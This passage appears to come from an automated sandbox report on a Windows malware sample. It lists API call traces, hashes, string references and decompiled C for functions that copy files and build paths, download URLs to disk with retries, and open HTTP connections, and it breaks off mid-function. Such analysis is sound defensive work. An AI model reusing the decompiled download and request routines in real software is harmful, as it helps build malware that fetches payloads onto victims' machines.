GetCurrentDirectoryA.KERNEL32(00000104,?,?,00588AFE,?,?,0041ABAC,00000000,00000000), ref: 00587D29
lstrcat.KERNEL32(?,00414018), ref: 00587D3B

Part of subcall function 0058BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0058BB21

lstrcat.KERNEL32(?,00000000), ref: 00587D53
CopyFileA.KERNEL32(?,?,00000001), ref: 00587D66
DeleteFileA.KERNEL32(?), ref: 00587F8C

Part of subcall function 00587480: memset.MSVCRT ref: 005874D2
Part of subcall function 00587480: LocalAlloc.KERNEL32(00000040,?), ref: 00587521
Part of subcall function 00587480: lstrcat.KERNEL32(?,00000000), ref: 00587587

lstrcat.KERNEL32(?,00000000), ref: 00587E47
lstrcat.KERNEL32(0041A838,0`a), ref: 00587E5B
lstrcat.KERNEL32(0041A838,?), ref: 00587E6C
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00587E7E
lstrcat.KERNEL32(0041A838,0041A37C), ref: 00587E91
lstrcat.KERNEL32(0041A838,?), ref: 00587EA1
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00587EB3
lstrcat.KERNEL32(0041A838, _a), ref: 00587EC6
lstrcat.KERNEL32(0041A838,?), ref: 00587EDA
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00587EEB
lstrcat.KERNEL32(0041A838,0_a), ref: 00587EFF
lstrcat.KERNEL32(0041A838,?), ref: 00587F13
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00587F25
lstrcat.KERNEL32(0041A838,`_a), ref: 00587F38
lstrcat.KERNEL32(0041A838,?), ref: 00587F4B
lstrcat.KERNEL32(0041A838,00418BC0), ref: 00587F5D

Strings

_a, xrefs: 00587EB9, 00587EBF
P$a, xrefs: 00587D93, 00587D99
0_a, xrefs: 00587EF1, 00587EF7
`_a, xrefs: 00587F2B, 00587F30
0`a, xrefs: 00587E4D, 00587E53

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID: _a$0_a$0`a$P$a$`_a
API String ID: 3522136165-1761084523
Opcode ID: 2e624d91b4c54302e4a69fc95ab7cc2408cdea3b369d4b7b1ddfcb14965c28a0
Instruction ID: 0c05f36babb3f2509843270e3e6307d8b0cc0a3cfd2da3c297e2f9a36caaef74
Opcode Fuzzy Hash: 2e624d91b4c54302e4a69fc95ab7cc2408cdea3b369d4b7b1ddfcb14965c28a0
Instruction Fuzzy Hash: FF613FB1611104AFCB14EBA4EE49DEA37F8FF4C305F008569F60593161D678EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00407AC0, Relevance: 45.7, APIs: 21, Strings: 5, Instructions: 174stringfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,004088AE,?,?,00000000,00000000,00000000), ref: 00407AD9
lstrcat.KERNEL32(?,00414018), ref: 00407AEB

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407B03
CopyFileA.KERNEL32(?,?,00000001), ref: 00407B16
DeleteFileA.KERNEL32(?), ref: 00407D3C

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00407BF7
lstrcat.KERNEL32(00000000,00616030), ref: 00407C0B
lstrcat.KERNEL32(00000000,?), ref: 00407C1C
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C2E
lstrcat.KERNEL32(00000000,006160F0), ref: 00407C41
lstrcat.KERNEL32(00000000,?), ref: 00407C51
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C63
lstrcat.KERNEL32(00000000,00615F20), ref: 00407C76
lstrcat.KERNEL32(00000000,?), ref: 00407C8A
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C9B
lstrcat.KERNEL32(00000000,00615F30), ref: 00407CAF
lstrcat.KERNEL32(00000000,?), ref: 00407CC3
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407CD5
lstrcat.KERNEL32(00000000,00615F60), ref: 00407CE8
lstrcat.KERNEL32(00000000,?), ref: 00407CFB
lstrcat.KERNEL32(00000000,00418BC0), ref: 00407D0D

Strings

`_a, xrefs: 00407CDB
0_a, xrefs: 00407CA1
_a, xrefs: 00407C69
P$a, xrefs: 00407B43
0`a, xrefs: 00407BFD

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID: _a$0_a$0`a$P$a$`_a
API String ID: 3522136165-1761084523
Opcode ID: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction ID: ab0808fcc5ae4ac9d31269b52e8e6387a8d9148f66a13944e02c84bb448b15ba
Opcode Fuzzy Hash: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction Fuzzy Hash: 6C6152B1A11104AFC710EBA4EE49DEA37F8EF4C305F008569F60593161D778EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00587FA0, Relevance: 45.3, APIs: 30, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00587FB5
lstrcat.KERNEL32(?,00414018), ref: 00587FC7

Part of subcall function 0058BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0058BB21

lstrcat.KERNEL32(?,00000000), ref: 00587FDF
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00587FF2
wsprintfA.USER32 ref: 0058801F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0058806F
RtlAllocateHeap.NTDLL(00000000), ref: 00588076
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00588122
lstrcat.KERNEL32(?,0041A48C), ref: 00588149
lstrcat.KERNEL32(?,0041A15C), ref: 0058816E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00588180
lstrcat.KERNEL32(?,0041A48C), ref: 005881A8
lstrcat.KERNEL32(?,0041A15C), ref: 005881CE

Part of subcall function 00587480: memset.MSVCRT ref: 005874D2
Part of subcall function 00587480: LocalAlloc.KERNEL32(00000040,?), ref: 00587521
Part of subcall function 00587480: lstrcat.KERNEL32(?,00000000), ref: 00587587

lstrcat.KERNEL32(?,00418BE0), ref: 005881FE
lstrcat.KERNEL32(?,?), ref: 00588212
lstrcat.KERNEL32(?,004191EC), ref: 00588224
lstrcat.KERNEL32(?,?), ref: 00588238
lstrcat.KERNEL32(?,004191EC), ref: 0058824A
lstrcat.KERNEL32(?,?), ref: 0058825E
lstrcat.KERNEL32(?,004191EC), ref: 00588270
lstrcat.KERNEL32(?,?), ref: 00588284
lstrcat.KERNEL32(?,004191EC), ref: 00588296
lstrcat.KERNEL32(?,?), ref: 005882AA
lstrcat.KERNEL32(?,004191EC), ref: 005882BC
lstrcat.KERNEL32(?,?), ref: 005882D0
lstrcat.KERNEL32(?,004191EC), ref: 005882E2
lstrcat.KERNEL32(?,00000000), ref: 00588320
lstrcat.KERNEL32(?,00418BC4), ref: 00588332
lstrlen.KERNEL32(?), ref: 00588344
DeleteFileA.KERNEL32(?), ref: 00588394

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID:
API String ID: 3067815791-0
Opcode ID: ffd5550d78d5c5cbcce8ec1d2f464851c7de5c2aa3a5bccb6b89eb1b96e4b4a3
Instruction ID: ef359205ded78ebde1aa5bf7d5ec2d5396a2d036545cfe9b38542c0a2b29540f
Opcode Fuzzy Hash: ffd5550d78d5c5cbcce8ec1d2f464851c7de5c2aa3a5bccb6b89eb1b96e4b4a3
Instruction Fuzzy Hash: 94B182B5A51208ABCB10EBA4DD8DFEA77B8BF4C704F008594F605A7151CB34EAA1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407D50, Relevance: 45.3, APIs: 30, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00407D65
lstrcat.KERNEL32(?,00414018), ref: 00407D77

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407D8F
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00407DA2
wsprintfA.USER32 ref: 00407DCF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00407E1F
RtlAllocateHeap.NTDLL(00000000), ref: 00407E26
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407ED2
lstrcat.KERNEL32(?,00615F90), ref: 00407EF9
lstrcat.KERNEL32(?,00615FA0), ref: 00407F1E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407F30
lstrcat.KERNEL32(?,00615F90), ref: 00407F58
lstrcat.KERNEL32(?,00615FA0), ref: 00407F7E

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00418BE0), ref: 00407FAE
lstrcat.KERNEL32(?,?), ref: 00407FC2
lstrcat.KERNEL32(?,004191EC), ref: 00407FD4
lstrcat.KERNEL32(?,?), ref: 00407FE8
lstrcat.KERNEL32(?,004191EC), ref: 00407FFA
lstrcat.KERNEL32(?,?), ref: 0040800E
lstrcat.KERNEL32(?,004191EC), ref: 00408020
lstrcat.KERNEL32(?,?), ref: 00408034
lstrcat.KERNEL32(?,004191EC), ref: 00408046
lstrcat.KERNEL32(?,?), ref: 0040805A
lstrcat.KERNEL32(?,004191EC), ref: 0040806C
lstrcat.KERNEL32(?,?), ref: 00408080
lstrcat.KERNEL32(?,004191EC), ref: 00408092
lstrcat.KERNEL32(?,00000000), ref: 004080D0
lstrcat.KERNEL32(?,00418BC4), ref: 004080E2
lstrlen.KERNEL32(?), ref: 004080F4
DeleteFileA.KERNEL32(?), ref: 00408144

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID:
API String ID: 3067815791-0
Opcode ID: 44fd675b5e8f644ed4ffe8ab9f9041a44a66e566d68b538c606c3f53ab211c74
Instruction ID: 0472a7c7585205d9353b1484faec9d34f3986521201bc2a8f856e71ef692a447
Opcode Fuzzy Hash: 44fd675b5e8f644ed4ffe8ab9f9041a44a66e566d68b538c606c3f53ab211c74
Instruction Fuzzy Hash: 0CB197B5A41108BBCB10DBA4DD8DFEA77B8AF4C704F008599F205A7181C739EA61CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00585670, Relevance: 42.2, APIs: 18, Strings: 10, Instructions: 180stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0041A368), ref: 005856EC
lstrcat.KERNEL32(?,xTa), ref: 00585700
lstrcat.KERNEL32(?,@ja), ref: 00585714
lstrcat.KERNEL32(?,0041A368), ref: 00585727
lstrcat.KERNEL32(?,xTa), ref: 0058573B
lstrcat.KERNEL32(?,0041A3B4), ref: 0058574F
lstrcat.KERNEL32(?,0041A368), ref: 00585762
lstrcat.KERNEL32(?,xTa), ref: 00585776
lstrcat.KERNEL32(?,hia), ref: 0058578A
lstrcat.KERNEL32(?,0041A368), ref: 0058579D
lstrcat.KERNEL32(?,xTa), ref: 005857B1
lstrcat.KERNEL32(?,(ja), ref: 005857C5
lstrcat.KERNEL32(?,0041A368), ref: 005857D8
lstrcat.KERNEL32(?,xTa), ref: 005857EC
lstrcat.KERNEL32(?,0ha), ref: 00585800
lstrcat.KERNEL32(?,0041A368), ref: 00585813
lstrcat.KERNEL32(?,xTa), ref: 00585827
lstrcat.KERNEL32(?,0041A674), ref: 0058583B

Part of subcall function 00584C30: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00584C5E

Part of subcall function 00584C30: StrCmpCA.SHLWAPI(00000000,00418B84), ref: 00584C8A
Part of subcall function 00584C30: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00584CDF
Part of subcall function 00584C30: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00584D1F
Part of subcall function 00584C30: StrCmpCA.SHLWAPI(?,00418B8C), ref: 00584D35
Part of subcall function 00584C30: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00584D67
Part of subcall function 00584C30: InternetReadFile.WININET(?,?,00000400,?), ref: 00584D90
Part of subcall function 00584C30: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00584DBE
Part of subcall function 00584C30: CloseHandle.KERNEL32(?,?,00000400), ref: 00584E0C
Part of subcall function 00584C30: InternetCloseHandle.WININET(?), ref: 00584E16
Part of subcall function 00584C30: InternetCloseHandle.WININET(00000000), ref: 00584E23

Part of subcall function 00584C30: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00584D00
Part of subcall function 00584C30: Sleep.KERNEL32(00007530), ref: 00584D46

Strings

hia, xrefs: 0058577C, 00585782
hta, xrefs: 005858AD, 005858B3
va, xrefs: 00585856, 0058585C
xTa, xrefs: 005856F2, 005856F8, 0058572D, 00585733, 00585768, 0058576E, 005857A3, 005857A9, 005857DE, 005857E4, 00585819, 0058581F
@ja, xrefs: 00585706, 0058570C
ta, xrefs: 0058586C, 00585872
0ha, xrefs: 005857F2, 005857F8
`wa, xrefs: 00585841, 00585846
va, xrefs: 00585897, 0058589D
(ja, xrefs: 005857B7, 005857BD

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID: va$(ja$0ha$@ja$`wa$hia$hta$xTa$ta$va
API String ID: 3671864319-1230908396
Opcode ID: f0cdc9165babbdbcea85b9a89b8e2ceea59233cf9381ccee5635e80114939224
Instruction ID: 769376d89ff2987f3646d16f830700edb3b41497f39d35e38b1f024afb856996
Opcode Fuzzy Hash: f0cdc9165babbdbcea85b9a89b8e2ceea59233cf9381ccee5635e80114939224
Instruction Fuzzy Hash: 556174B6511208ABC710EFA0DD88EDA37BCBB8C700F048599F715A2151DB74ABA8CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00405420, Relevance: 40.7, APIs: 18, Strings: 9, Instructions: 180
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00405420(void* __ecx) {
				char _v268;
				char _v532;
				char _v796;
				char _v1060;
				char _v1324;
				char _v1588;
				intOrPtr _t45;
				intOrPtr _t50;
				intOrPtr _t55;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr _t75;
				intOrPtr _t80;
				intOrPtr _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t116;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t126;
				intOrPtr _t128;

				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				E0040B720( &_v1060, 0x104);
				_t45 =  *0x41a368; // 0x6122d0
				 *0x41aa24( &_v1324, _t45);
				_t116 =  *0x41a7c4; // 0x615478
				 *0x41aa24( &_v1324, _t116);
				_t97 =  *0x41a11c; // 0x616a40
				 *0x41aa24( &_v1324, _t97);
				_t50 =  *0x41a368; // 0x6122d0
				 *0x41aa24( &_v268, _t50);
				_t118 =  *0x41a7c4; // 0x615478
				 *0x41aa24( &_v268, _t118);
				_t99 =  *0x41a3b4; // 0x6169c8
				 *0x41aa24( &_v268, _t99);
				_t55 =  *0x41a368; // 0x6122d0
				 *0x41aa24( &_v796, _t55);
				_t120 =  *0x41a7c4; // 0x615478
				 *0x41aa24( &_v796, _t120);
				_t101 =  *0x41a090; // 0x616968
				 *0x41aa24( &_v796, _t101);
				_t60 =  *0x41a368; // 0x6122d0
				 *0x41aa24( &_v1588, _t60);
				_t122 =  *0x41a7c4; // 0x615478
				 *0x41aa24( &_v1588, _t122);
				_t103 =  *0x41a604; // 0x616a28
				 *0x41aa24( &_v1588, _t103);
				_t65 =  *0x41a368; // 0x6122d0
				 *0x41aa24( &_v532, _t65);
				_t124 =  *0x41a7c4; // 0x615478
				 *0x41aa24( &_v532, _t124);
				_t105 =  *0x41a630; // 0x616830
				 *0x41aa24( &_v532, _t105);
				_t70 =  *0x41a368; // 0x6122d0
				 *0x41aa24( &_v1060, _t70);
				_t126 =  *0x41a7c4; // 0x615478
				 *0x41aa24( &_v1060, _t126);
				_t107 =  *0x41a674; // 0x615698
				 *0x41aa24( &_v1060, _t107);
				_t75 =  *0x41a2f0; // 0x617760
				_t108 =  &_v1324;
				E004049E0( &_v1324,  &_v1324, _t75);
				_t128 =  *0x41a650; // 0x6176e8
				E004049E0(_t108,  &_v268, _t128);
				_t109 =  *0x41a220; // 0x6174e0
				E004049E0(_t109,  &_v796, _t109);
				_t80 =  *0x41a6cc; // 0x615598
				_t110 =  &_v1588;
				E004049E0( &_v1588,  &_v1588, _t80);
				E004049E0(_t110,  &_v532,  *0x41a4a8);
				_t111 =  *0x41a700; // 0x617468
				E004049E0(_t111,  &_v1060, _t111);
				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				return E0040B720( &_v1060, 0x104);
			}

0x00405435
0x00405446
0x00405457
0x00405468
0x00405479
0x0040548a
0x0040548f
0x0040549c
0x004054a2
0x004054b0
0x004054b6
0x004054c4
0x004054ca
0x004054d7
0x004054dd
0x004054eb
0x004054f1
0x004054ff
0x00405505
0x00405512
0x00405518
0x00405526
0x0040552c
0x0040553a
0x00405540
0x0040554d
0x00405553
0x00405561
0x00405567
0x00405575
0x0040557b
0x00405588
0x0040558e
0x0040559c
0x004055a2
0x004055b0
0x004055b6
0x004055c3
0x004055c9
0x004055d7
0x004055dd
0x004055eb
0x004055f1
0x004055f7
0x004055fe
0x00405606
0x00405614
0x0040561c
0x0040562a
0x00405632
0x00405638
0x0040563f
0x00405655
0x0040565d
0x0040566b
0x0040567f
0x00405690
0x004056a1
0x004056b2
0x004056c3
0x004056dc

APIs

lstrcat.KERNEL32(?,006122D0), ref: 0040549C
lstrcat.KERNEL32(?,00615478), ref: 004054B0
lstrcat.KERNEL32(?,00616A40), ref: 004054C4
lstrcat.KERNEL32(?,006122D0), ref: 004054D7
lstrcat.KERNEL32(?,00615478), ref: 004054EB
lstrcat.KERNEL32(?,006169C8), ref: 004054FF
lstrcat.KERNEL32(?,006122D0), ref: 00405512
lstrcat.KERNEL32(?,00615478), ref: 00405526
lstrcat.KERNEL32(?,00616968), ref: 0040553A
lstrcat.KERNEL32(?,006122D0), ref: 0040554D
lstrcat.KERNEL32(?,00615478), ref: 00405561
lstrcat.KERNEL32(?,00616A28), ref: 00405575
lstrcat.KERNEL32(?,006122D0), ref: 00405588
lstrcat.KERNEL32(?,00615478), ref: 0040559C
lstrcat.KERNEL32(?,00616830), ref: 004055B0
lstrcat.KERNEL32(?,006122D0), ref: 004055C3
lstrcat.KERNEL32(?,00615478), ref: 004055D7
lstrcat.KERNEL32(?,00615698), ref: 004055EB

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 004049E0: StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
Part of subcall function 004049E0: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
Part of subcall function 004049E0: StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
Part of subcall function 004049E0: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
Part of subcall function 004049E0: InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
Part of subcall function 004049E0: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
Part of subcall function 004049E0: CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
Part of subcall function 004049E0: InternetCloseHandle.WININET(?), ref: 00404BC6
Part of subcall function 004049E0: InternetCloseHandle.WININET(00000000), ref: 00404BD3

Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00404AB0
Part of subcall function 004049E0: Sleep.KERNEL32(00007530), ref: 00404AF6

Strings

ta, xrefs: 0040561C
hia, xrefs: 0040552C
(ja, xrefs: 00405567
va, xrefs: 00405606
hta, xrefs: 0040565D
xTa, xrefs: 004054A2, 004054DD, 00405518, 00405553, 0040558E, 004055C9
0ha, xrefs: 004055A2
`wa, xrefs: 004055F1
@ja, xrefs: 004054B6

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID: (ja$0ha$@ja$`wa$hia$hta$xTa$ta$va
API String ID: 3671864319-3102526190
Opcode ID: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction ID: 5a6f90b88bf48c53f68c00fc2f1db0b98238631f3db8af8a6affdc9d9dd0ffe7
Opcode Fuzzy Hash: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction Fuzzy Hash: AB6178F6511118ABC710EBA0DD85DEA33B8FB4C704F0485AEF21593191DB7897A4CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00588E50, Relevance: 33.3, APIs: 22, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00588E7F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00588ECC
RtlAllocateHeap.NTDLL(00000000), ref: 00588ED3
lstrcat.KERNEL32(?,0041A48C), ref: 0058903A
lstrcat.KERNEL32(?,0041A15C), ref: 00589060
lstrcat.KERNEL32(?,0041A48C), ref: 00589118
lstrcat.KERNEL32(?,0041A15C), ref: 0058913E
lstrcat.KERNEL32(?,?), ref: 00589152
lstrcat.KERNEL32(?,004191EC), ref: 00589164
lstrcat.KERNEL32(?,?), ref: 00589178
lstrcat.KERNEL32(?,004191EC), ref: 0058918A
lstrcat.KERNEL32(?,?), ref: 0058919E
lstrcat.KERNEL32(?,004191EC), ref: 005891B0
lstrcat.KERNEL32(?,?), ref: 005891C4
lstrcat.KERNEL32(?,004191EC), ref: 005891D6
lstrcat.KERNEL32(?,?), ref: 005891EA
lstrcat.KERNEL32(?,004191EC), ref: 005891FC
lstrcat.KERNEL32(?,?), ref: 00589210
lstrcat.KERNEL32(?,004191EC), ref: 00589222
lstrcat.KERNEL32(?,?), ref: 00589236
lstrcat.KERNEL32(?,00418BC4), ref: 00589248
lstrlen.KERNEL32(?), ref: 0058925A

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: b972705f4d408f59d57428f6ec2d7c38fe99164d5a1f279b6c3d9cc0b8fe5810
Instruction ID: 9b33da9b972eef84a39db9b28668f612dbf86be5618a6fa39de2879242e849da
Opcode Fuzzy Hash: b972705f4d408f59d57428f6ec2d7c38fe99164d5a1f279b6c3d9cc0b8fe5810
Instruction Fuzzy Hash: B9C14FB5A01218AFCB24DF64DD89BEA7BB5BF48704F0081D8F609A7291C7359E90CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00408C00, Relevance: 33.3, APIs: 22, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00408C2F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408C7C
RtlAllocateHeap.NTDLL(00000000), ref: 00408C83
lstrcat.KERNEL32(?,00615F90), ref: 00408DEA
lstrcat.KERNEL32(?,00615FA0), ref: 00408E10
lstrcat.KERNEL32(?,00615F90), ref: 00408EC8
lstrcat.KERNEL32(?,00615FA0), ref: 00408EEE
lstrcat.KERNEL32(?,?), ref: 00408F02
lstrcat.KERNEL32(?,004191EC), ref: 00408F14
lstrcat.KERNEL32(?,?), ref: 00408F28
lstrcat.KERNEL32(?,004191EC), ref: 00408F3A
lstrcat.KERNEL32(?,?), ref: 00408F4E
lstrcat.KERNEL32(?,004191EC), ref: 00408F60
lstrcat.KERNEL32(?,?), ref: 00408F74
lstrcat.KERNEL32(?,004191EC), ref: 00408F86
lstrcat.KERNEL32(?,?), ref: 00408F9A
lstrcat.KERNEL32(?,004191EC), ref: 00408FAC
lstrcat.KERNEL32(?,?), ref: 00408FC0
lstrcat.KERNEL32(?,004191EC), ref: 00408FD2
lstrcat.KERNEL32(?,?), ref: 00408FE6
lstrcat.KERNEL32(?,00418BC4), ref: 00408FF8
lstrlen.KERNEL32(?), ref: 0040900A

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: dacc5b97372733a4ba00ccc95a0c1e16af46acb8b8fedb2f4d0e5c5a2b3d8658
Instruction ID: 37d9e65b1a1885b2021265d91926de593cb986df4567ec96dbdd6e639e599f41
Opcode Fuzzy Hash: dacc5b97372733a4ba00ccc95a0c1e16af46acb8b8fedb2f4d0e5c5a2b3d8658
Instruction Fuzzy Hash: A6C164B1A01218AFCB24DF64DD89BDE77B5AF48704F0081D9F609A7291CB399E90CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004051A0, Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 172
networksleepfileCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E004051A0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, char* _a16) {
				void* _v8;
				DWORD* _v12;
				char _v2012;
				void* _v2016;
				void* _v2020;
				long _v2024;
				void _v2284;
				void _v2288;
				DWORD* _v2292;
				DWORD* _v2296;
				void _v4300;
				int _v4304;
				long _v4308;
				DWORD* _t104;
				void* _t107;

				_t85 = __ecx;
				E004139B0(0x10d0, __ecx);
				E0040B6E0(_t85,  &_v2012, 0, 0x7d0);
				_v2020 = InternetOpenA(0x41401a, 0, 0, 0, 0);
				_v2024 = 0x100;
				_v12 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v12 = 1;
				}
				if(_v2020 != 0) {
					_v2288 = 0x927c0;
					InternetSetOptionA(_v2020, 6,  &_v2288, 4);
					if(_v12 == 0) {
						_v2016 = InternetConnectA(_v2020, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v2016 = InternetConnectA(_v2020, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v2016 != 0) {
						if(_v12 == 0) {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0x400100, 0);
						} else {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0xc00100, 0);
						}
						if(_v8 != 0) {
							_v2292 = 0;
							_v2296 = 0;
							while(_v2296 < 6) {
								HttpSendRequestA(_v8, 0, 0, 0, 0);
								if(HttpQueryInfoA(_v8, 0x13,  &_v2284,  &_v2024, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t104 =  &(_v2296[0]);
									__eflags = _t104;
									_v2296 = _t104;
									continue;
								} else {
									_push("200");
									_push( &_v2284);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
										_v2292 = 1;
									}
								}
								break;
							}
